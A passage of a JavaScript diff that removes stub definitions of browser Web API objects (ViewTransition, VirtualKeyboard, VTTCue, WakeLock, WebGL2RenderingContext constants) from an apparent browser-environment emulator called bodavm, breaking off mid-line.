-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoPlaybackQuality'], "VideoPlaybackQuality"); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "creationTime", {configurable:true, enumerable:true, get:function creationTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "creationTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "totalVideoFrames", {configurable:true, enumerable:true, get:function totalVideoFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "totalVideoFrames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "droppedVideoFrames", {configurable:true, enumerable:true, get:function droppedVideoFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "droppedVideoFrames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoPlaybackQuality', "corruptedVideoFrames", {configurable:true, enumerable:true, get:function corruptedVideoFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoPlaybackQuality'].prototype, "VideoPlaybackQuality", "corruptedVideoFrames_get", arguments)}, set:undefined},'prototype'); - -// ViewTransition对象 -bodavm.memory.globalobj['ViewTransition'] = function ViewTransition(){if (!(this instanceof ViewTransition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ViewTransition'], "ViewTransition"); -bodavm.toolsFunc.defineProperty('ViewTransition', "finished", {configurable:true, enumerable:true, get:function finished (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "finished_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ViewTransition', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ViewTransition', "updateCallbackDone", {configurable:true, enumerable:true, get:function updateCallbackDone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "updateCallbackDone_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ViewTransition', "skipTransition", {configurable:true, enumerable:true, writable:true, value:function skipTransition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ViewTransition'].prototype, "ViewTransition", "skipTransition", arguments)}},'prototype'); - -// vilame_setter对象 -bodavm.memory.globalobj['vilame_setter'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('vilame_setter', "0", {configurable:true, enumerable:true, writable:true, value:{}}); -bodavm.toolsFunc.defineProperty('vilame_setter', "length", {configurable:false, enumerable:false, writable:true, value:1}); - -// VirtualKeyboard对象 -bodavm.memory.globalobj['VirtualKeyboard'] = function VirtualKeyboard(){if (!(this instanceof VirtualKeyboard)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboard'], "VirtualKeyboard"); -bodavm.memory.globalobj['VirtualKeyboard'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VirtualKeyboard'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "boundingRect", {configurable:true, enumerable:true, get:function boundingRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "boundingRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "overlaysContent", {configurable:true, enumerable:true, get:function overlaysContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_get", arguments)}, set:function overlaysContent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "ongeometrychange", {configurable:true, enumerable:true, get:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_get", arguments)}, set:function ongeometrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "hide", {configurable:true, enumerable:true, writable:true, value:function hide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "hide", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VirtualKeyboard', "show", {configurable:true, enumerable:true, writable:true, value:function show (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "show", arguments)}},'prototype'); - -// VirtualKeyboardGeometryChangeEvent对象 -bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'] = function VirtualKeyboardGeometryChangeEvent(){if (!(this instanceof VirtualKeyboardGeometryChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VirtualKeyboardGeometryChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'], "VirtualKeyboardGeometryChangeEvent"); -bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; - -// VTTCue对象 -bodavm.memory.globalobj['VTTCue'] = function VTTCue(){if (!(this instanceof VTTCue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VTTCue': 3 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VTTCue'], "VTTCue"); -bodavm.memory.globalobj['VTTCue'].prototype.__proto__=bodavm.memory.globalobj['TextTrackCue'].prototype; -bodavm.memory.globalobj['VTTCue'].__proto__=bodavm.memory.globalobj['TextTrackCue']; -bodavm.toolsFunc.defineProperty('VTTCue', "vertical", {configurable:true, enumerable:true, get:function vertical (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_get", arguments)}, set:function vertical (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "snapToLines", {configurable:true, enumerable:true, get:function snapToLines (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_get", arguments)}, set:function snapToLines (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "line", {configurable:true, enumerable:true, get:function line (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_get", arguments)}, set:function line (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "position", {configurable:true, enumerable:true, get:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_get", arguments)}, set:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "getCueAsHTML", {configurable:true, enumerable:true, writable:true, value:function getCueAsHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "getCueAsHTML", arguments)}},'prototype'); - -// WakeLock对象 -bodavm.memory.globalobj['WakeLock'] = function WakeLock(){if (!(this instanceof WakeLock)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLock'], "WakeLock"); -bodavm.toolsFunc.defineProperty('WakeLock', "request", {configurable:true, enumerable:true, writable:true, value:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLock'].prototype, "WakeLock", "request", arguments)}},'prototype'); - -// WakeLockSentinel对象 -bodavm.memory.globalobj['WakeLockSentinel'] = function WakeLockSentinel(){if (!(this instanceof WakeLockSentinel)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLockSentinel'], "WakeLockSentinel"); -bodavm.memory.globalobj['WakeLockSentinel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['WakeLockSentinel'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "onrelease", {configurable:true, enumerable:true, get:function onrelease (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_get", arguments)}, set:function onrelease (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "released", {configurable:true, enumerable:true, get:function released (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "released_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WakeLockSentinel', "release", {configurable:true, enumerable:true, writable:true, value:function release (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "release", arguments)}},'prototype'); - -// WaveShaperNode对象 -bodavm.memory.globalobj['WaveShaperNode'] = function WaveShaperNode(){if (!(this instanceof WaveShaperNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WaveShaperNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WaveShaperNode'], "WaveShaperNode"); -bodavm.memory.globalobj['WaveShaperNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['WaveShaperNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('WaveShaperNode', "curve", {configurable:true, enumerable:true, get:function curve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_get", arguments)}, set:function curve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WaveShaperNode', "oversample", {configurable:true, enumerable:true, get:function oversample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_get", arguments)}, set:function oversample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_set", arguments)}},'prototype'); - -// WebGL2RenderingContext对象 -bodavm.memory.globalobj['WebGL2RenderingContext'] = function WebGL2RenderingContext(){if (!(this instanceof WebGL2RenderingContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGL2RenderingContext'], "WebGL2RenderingContext"); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", {configurable:false, enumerable:true, 